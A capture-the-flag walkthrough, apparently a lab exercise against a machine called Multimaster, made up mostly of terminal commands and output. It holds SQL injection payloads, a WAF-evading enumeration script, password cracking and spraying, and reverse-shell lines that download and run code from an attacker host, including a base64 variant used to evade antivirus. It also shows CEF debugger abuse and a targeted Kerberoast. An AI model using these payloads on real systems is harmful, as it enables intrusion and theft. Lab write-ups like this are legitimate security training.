❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.179 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 14:03 CET
Nmap scan report for 10.10.10.179
Host is up (0.057s latency).
Not shown: 65488 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49678/tcp open unknown
49688/tcp open unknown
49694/tcp open unknown
49703/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.179
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49688,49694,49703
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49688,49694,49703 10.10.10.179 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 13:55 CET
Nmap scan report for multimaster.megacorp.local (10.10.10.179)
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: MegaCorp
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-13 13:05:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T12:58:07
|_Not valid after: 2055-01-13T12:58:07
| ms-sql-info:
| 10.10.10.179:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.10.179:1433:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
|_ Product_Version: 10.0.14393
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
| Product_Version: 10.0.14393
|_ System_Time: 2025-01-13T13:06:05+00:00
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2025-01-12T12:57:31
|_Not valid after: 2025-07-14T12:57:31
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp closed unknown
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: MULTIMASTER
| NetBIOS computer name: MULTIMASTER\x00
| Domain name: MEGACORP.LOCAL
| Forest name: MEGACORP.LOCAL
| FQDN: MULTIMASTER.MEGACORP.LOCAL
|_ System time: 2025-01-13T05:06:05-08:00
| smb2-time:
| date: 2025-01-13T13:06:08
|_ start_date: 2025-01-13T12:57:40
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1h18m14s, deviation: 3h01m25s, median: 9m39s
TRACEROUTE (using port 49667/tcp)
HOP RTT ADDRESS
1 105.20 ms 10.10.16.1
2 31.87 ms multimaster.megacorp.local (10.10.10.179)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.10.179
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
❯ ldapsearch -x -H ldap://10.10.10.179 -s base | grep defaultNamingContext
defaultNamingContext: DC=MEGACORP,DC=LOCAL❯ cat /etc/hosts | grep multimaster
10.10.10.179 multimaster.megacorp.local megacorp.local❯ whatweb http://10.10.10.179
http://10.10.10.179 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.179], Microsoft-IIS[10.0], Script, Title[MegaCorp], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]import requests
import json
# URL del endpoint
url = "http://10.10.10.179/api/getColleagues"
# Cabeceras de la solicitud
headers = {
"Content-Type": "application/json;charset=utf-8",
"Origin": "http://10.10.10.179",
"Referer": "http://10.10.10.179/",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}
# Generar letras de la A a la Z
letters = [chr(i) for i in range(ord('A'), ord('Z') + 1)]
# Lista para almacenar correos electrónicos únicos
emails = set()
print("Iniciando enumeración de usuarios...")
for letter in letters:
# Cuerpo de la solicitud con la letra actual
data = {"name": letter}
try:
# Enviar la solicitud POST
response = requests.post(url, headers=headers, json=data)
# Verificar si la respuesta es válida
if response.status_code == 200:
# Parsear la respuesta JSON
users = response.json()
# Extraer correos electrónicos
for user in users:
email = user.get("email")
if email:
emails.add(email) # Añadir el correo a la lista
else:
print(f"Error en la solicitud con letra {letter}: {response.status_code}")
except Exception as e:
print(f"Error al procesar la letra {letter}: {e}")
# Mostrar los correos electrónicos extraídos
print("\nCorreos electrónicos encontrados:")
for email in sorted(emails):
print(email)❯ chmod +x userenum.py
❯ python3 userenum.py
Iniciando enumeración de usuarios...
Correos electrónicos encontrados:
aldom@megacorp.htb
alyx@megacorp.htb
ckane@megacorp.htb
cyork@megacorp.htb
egre55@megacorp.htb
ilee@megacorp.htb
james@megacorp.htb
jorden@megacorp.htb
kpage@megacorp.htb
minato@megacorp.htb
nbourne@megacorp.htb
okent@megacorp.htb
rmartin@megacorp.htb
sbauer@megacorp.htb
shayna@megacorp.htb
zac@magacorp.htb
zpowers@megacorp.htb❯ cat users.txt | awk '{print $1}' FS='@' | sponge users.txt
❯ cat users.txt
aldom
alyx
ckane
cyork
egre55
ilee
james
jorden
kpage
minato
nbourne
okent
rmartin
sbauer
shayna
zac
zpowers❯ kerbrute userenum --dc 10.10.10.179 -d megacorp.local users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/13/25 - Ronnie Flathers @ropnop
2025/01/13 14:14:57 > Using KDC(s):
2025/01/13 14:14:57 > 10.10.10.179:88
2025/01/13 14:14:57 > [+] VALID USERNAME: cyork@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: ckane@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: aldom@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: kpage@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: alyx@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: james@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: jorden@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: nbourne@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: ilee@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: okent@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: zac@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: rmartin@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: sbauer@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: zpowers@megacorp.local
2025/01/13 14:14:57 > Done! Tested 17 usernames (14 valid) in 0.212 seconds1' UNION ALL SELECT 1,2,3,4;-- -1' UNION ALL SELECT 1,2,3,4,5;-- -1' UNION ALL SELECT 1,@@version,db_name(),4,5;-- -1' UNION ALL SELECT 1,name,3,4,5 FROM master..sysdatabases;-- -1' UNION ALL SELECT 1,name,3,4,5 FROM Hub_DB..sysobjects WHERE xtype ='U';-- -1' UNION ALL SELECT 1,name,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Logins');-- -1' UNION ALL SELECT 1,username,password,4,5 FROM Logins;-- -❯ catnp resultBBDD.txt | jq | grep 'name' | awk '{print $NF}' | tr -d '",' > usersBBDD.txt
❯ catnp resultBBDD.txt | jq | grep 'position' | awk '{print $NF}' | tr -d ' ",' > passwordsBBDD.txt❯ hashcat -a 0 -m 17900 passwordsBBDD.txt /usr/share/wordlists/rockyou.txt
...[snip]...
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1
...[snip]...❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:password1 STATUS_LOGON_FAILURE
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\shayna:banking1 STATUS_LOGON_FAILURE
...[snip]...1' UNION ALL SELECT 1,2,3,4,(select default_domain());-- -1' UNION ALL SELECT 1,2,3,4,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')));-- -import struct
import sys
def hex_to_sid(sid_hex):
# Convertir el SID hexadecimal a bytes
sid_bytes = bytes.fromhex(sid_hex.replace("0x", ""))
# Extraer la versión del SID
version = sid_bytes[0]
# Extraer el identificador de autoridad
identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')
# Contar las subautoridades
subauthority_count = sid_bytes[1]
# Extraer las subautoridades
subauthorities = struct.unpack('<' + 'I' * subauthority_count, sid_bytes[8:])
# Construir el SID en formato legible
sid = f'S-{version}-{identifier_authority}' + ''.join(f'-{sub}' for sub in subauthorities)
return sid
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 convert.py <SID_HEX>")
sys.exit(1)
# Leer el argumento de la línea de comandos
sid_hex = sys.argv[1]
# Convertir y mostrar el resultado
try:
sid = hex_to_sid(sid_hex)
print(f"SID: {sid}")
except Exception as e:
print(f"Error: {e}")❯ python3 convert.py 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
SID: S-1-5-21-3167813660-1240564177-918740779-500❯ cat request.txt; echo
POST /api/getColleagues HTTP/1.1
Host: 10.10.10.179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=utf-8
Content-Length: 12
Origin: http://10.10.10.179
Connection: keep-alive
Referer: http://10.10.10.179/
Sec-GPC: 1
Priority: u=0
{"name":"a"}❯ python3 /opt/mssqli-duet/python/mssqli-duet.py -p 'name' -i "a'" -e unicode -r request.txt -rid 1000-1200 -t 3
[+] Beginning enumeration - Start time: Mon, 13 Jan 2025 16:40:22
[+] Collected request data:
Target URL = http://10.10.10.179/api/getColleagues
Method = POST
Content-Type = application/json;charset=utf-8
Cookies = None
Request data = {"name":"a"}
[+] Determining the number of columns in the table...
[!] Number of columns is 5
[+] Determining column type...
[-] Column type not null
[!] Column type is 1
[+] Discovering domain name...
[+] Domain = MEGACORP
[+] Discovering domain SID...
S-1-5-21-3167813660-1240564177-918740779-
[+] Enumerating Active Directory via SIDs...
[+] Determining users...
MEGACORP\\DnsAdmins
MEGACORP\\DnsUpdateProxy
MEGACORP\\svc-nas
MEGACORP\\tushikitatomo
MEGACORP\\andrew
MEGACORP\\lana
[+] Determining network hosts...
MEGACORP\\MULTIMASTER$
[+] Determining groups...
MEGACORP\\Privileged IT Accounts
[!] Finished!
Mon, 13 Jan 2025 16:51:44import json
import requests
from time import sleep
# URL de destino al que se enviarán las peticiones.
url = 'http://10.10.10.179/api/getColleagues'
# Esta función se encarga de codificar el payload de la petición.
def encode_me(str):
val = []
# Iteramos sobre cada carácter en la cadena 'str'.
for i in str:
# Convertimos cada carácter a su equivalente en hexadecimal y lo agregamos con el prefijo "\\u00".
val.append("\\u00"+hex(ord(i)).split("x")[1])
# Unimos todos los valores generados en una cadena final.
return ''.join([i for i in val])
# Iteramos sobre una serie de números del 1000 al 1200.
for i in range(1000,1200):
i = hex(i)[2:].upper() # Convertimos el número a su representación hexadecimal y lo convertimos a mayúsculas.
if len(i) < 4:
i = '0' + i # Aseguramos que siempre tengamos cuatro caracteres en el número hexadecimal.
# Reversamos los bytes del número hexadecimal.
t = bytearray.fromhex(i)
t.reverse() # Invertimos los bytes.
t = ''.join(format(x,'02x') for x in t).upper()+'0'*4 # Formateamos los bytes invertidos en mayúsculas.
# Construimos el SID a partir del número hexadecimal procesado.
sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)
# Creamos el payload que se enviará en la petición, buscando la función SUSER_SNAME.
payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)
r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})
# Convertimos la respuesta a un objeto JSON para obtener el nombre del usuario.
user = json.loads(r.text)[0]["name"]
# Si se encontró un usuario, lo imprimimos.
if user:
print(user)
# Hacemos una pausa entre las peticiones para evitar ser detectado por sistemas de seguridad (WAF).
sleep(3)❯ python3 ridenum_mssql.py
MEGACORP\MULTIMASTER$
MEGACORP\DnsAdmins
MEGACORP\DnsUpdateProxy
MEGACORP\svc-nas
MEGACORP\Privileged IT Accounts
MEGACORP\tushikikatomo
MEGACORP\andrew
MEGACORP\lana❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
...[snip]...❯ ldapdomaindump -u 'sequel.htb\tushikikatomo' -p 'finance1' 10.10.10.179 -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ cd ldap
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> type ../Desktop/user.txt
2b2455fff8***********************Evil-WinRM* PS C:\inetpub\wwwroot> ls
Access to the path 'C:\inetpub\wwwroot' is denied.
At line:1 char:1
+ ls
+ ~~
+ CategoryInfo : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand*Evil-WinRM* PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/25/2019 10:59 AM Common Files
d----- 1/9/2020 2:39 PM Internet Explorer
d----- 1/7/2020 9:40 PM Microsoft
da---- 1/7/2020 7:47 PM Microsoft SQL Server
d----- 1/7/2020 7:26 PM Microsoft Visual Studio 10.0
da---- 1/9/2020 3:18 AM Microsoft VS Code
d----- 1/7/2020 7:27 PM Microsoft.NET
d----- 1/7/2020 9:43 PM Reference Assemblies
d----- 7/19/2021 1:07 AM VMware
d-r--- 1/9/2020 2:46 PM Windows Defender
d----- 1/9/2020 2:39 PM Windows Mail
d----- 1/9/2020 2:39 PM Windows Media Player
d----- 7/16/2016 6:23 AM Windows Multimedia Platform
d----- 7/16/2016 6:23 AM Windows NT
d----- 1/9/2020 2:39 PM Windows Photo Viewer
d----- 7/16/2016 6:23 AM Windows Portable Devices
d----- 7/16/2016 6:23 AM WindowsPowerShell*Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (Get-Command .\Code.exe).version
Major Minor Build Revision
----- ----- ----- --------
1 37 1 0*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
314 30 49612 73404 180 1 Code
612 41 38972 82612 520 1 Code
285 51 58000 74612 3144 1 Code
406 22 15100 24416 3288 1 Code
418 55 133956 170140 6368 1 Code
200 15 6164 12856 6860 1 Code
...[snip]...❯ ls
cefdebug.exe README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IWR -Uri http://10.10.16.5/cefdebug.exe -OutFile cef.exe❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ tail -n 1 rev.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.5 -Port 443
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev.ps1")
At line:1 char:1
+ function Invoke-PowerShellTcp
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:1
+ IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49918
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\System32\spool\drivers\color>whoami
megacorp\tushikikatomo❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell -e <BASE64_CODE>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49937
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\System32\spool\drivers\color>*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe
cef.exe : [2025/01/13 11:09:28:7999] U: There are 3 tcp sockets in state listen.
+ CategoryInfo : NotSpecified: ([2025/01/13 11:...n state listen.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2025/01/13 11:09:48:8442] U: There were 1 servers that appear to be CEF debuggers.
[2025/01/13 11:09:48:8442] U: ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('whoami > C:\\Windows\\System32\\spool\\drivers\\color\\gzzcoo.txt')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ls
Directory: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/13/2025 11:09 AM 259584 cef.exe
-a---- 7/16/2016 6:18 AM 1058 D50.camp
-a---- 7/16/2016 6:18 AM 1079 D65.camp
-a---- 7/16/2016 6:18 AM 797 Graphics.gmmp
-a---- 1/13/2025 11:13 AM 16 gzzcoo.txt
-a---- 7/16/2016 6:18 AM 838 MediaSim.gmmp
-a---- 7/16/2016 6:18 AM 786 Photo.gmmp
-a---- 7/16/2016 6:18 AM 822 Proofing.gmmp
-a---- 7/16/2016 6:18 AM 218103 RSWOP.icm
-a---- 7/16/2016 6:18 AM 3144 sRGB Color Space Profile.icm
-a---- 7/16/2016 6:18 AM 17155 wscRGB.cdmp
-a---- 7/16/2016 6:18 AM 1578 wsRGB.cdmp
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type gzzcoo.txt
megacorp\cyork*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49824
Windows PowerShell running as user cyork on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files\Microsoft VS Code>whoami
megacorp\cyorkPS C:\inetpub\wwwroot\bin> ls
Directory: C:\inetpub\wwwroot\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/7/2020 9:28 PM roslyn
-a---- 2/21/2013 7:13 PM 102912 Antlr3.Runtime.dll
-a---- 2/21/2013 7:13 PM 431616 Antlr3.Runtime.pdb
-a---- 5/24/2018 1:08 AM 40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
-a---- 7/24/2012 11:18 PM 45416 Microsoft.Web.Infrastructure.dll
-a---- 1/9/2020 4:13 AM 13824 MultimasterAPI.dll
-a---- 1/9/2020 4:13 AM 28160 MultimasterAPI.pdb
-a---- 2/17/2018 8:14 PM 664576 Newtonsoft.Json.dll
-a---- 11/27/2018 11:30 PM 178808 System.Net.Http.Formatting.dll
-a---- 11/27/2018 11:28 PM 27768 System.Web.Cors.dll
-a---- 1/27/2015 2:34 PM 139976 System.Web.Helpers.dll
-a---- 11/27/2018 11:31 PM 39352 System.Web.Http.Cors.dll
-a---- 11/27/2018 11:31 PM 455096 System.Web.Http.dll
-a---- 1/31/2018 10:49 PM 77520 System.Web.Http.WebHost.dll
-a---- 1/27/2015 2:32 PM 566472 System.Web.Mvc.dll
-a---- 2/11/2014 1:56 AM 70864 System.Web.Optimization.dll
-a---- 1/27/2015 2:32 PM 272072 System.Web.Razor.dll
-a---- 1/27/2015 2:34 PM 41672 System.Web.WebPages.Deployment.dll
-a---- 1/27/2015 2:34 PM 211656 System.Web.WebPages.dll
-a---- 1/27/2015 2:34 PM 39624 System.Web.WebPages.Razor.dll
-a---- 7/17/2013 4:33 AM 1276568 WebGrease.dll ❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\inetpub\wwwroot\bin> copy MultimasterAPI.dll \\10.10.16.5\smbFolder\MultimasterAPI.dll❯ ls -l MultimasterAPI.dll
.rwxrwxr-x kali kali 14 KB Thu Jan 9 22:22:44 2020 MultimasterAPI.dll❯ nxc smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!
...[snip]...❯ bloodhound-python -c All -ns 10.10.10.179 -u 'tushikikatomo' -p 'finance1' -d megacorp.local --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: megacorp.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 28 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
INFO: Done in 00M 16S
INFO: Compressing output into 20250113181515_bloodhound.zip❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
No entries found!❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' set object "jorden" servicePrincipalName -v "cifs/gzzcoo"
[+] jorden's servicePrincipalName has been updated
❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------ -------------------------------------------- -------------------------- --------- ----------
cifs/gzzcoo jorden CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL 2020-01-10 01:48:17.503303 <never>
[-] CCache file is not found. Skipping...
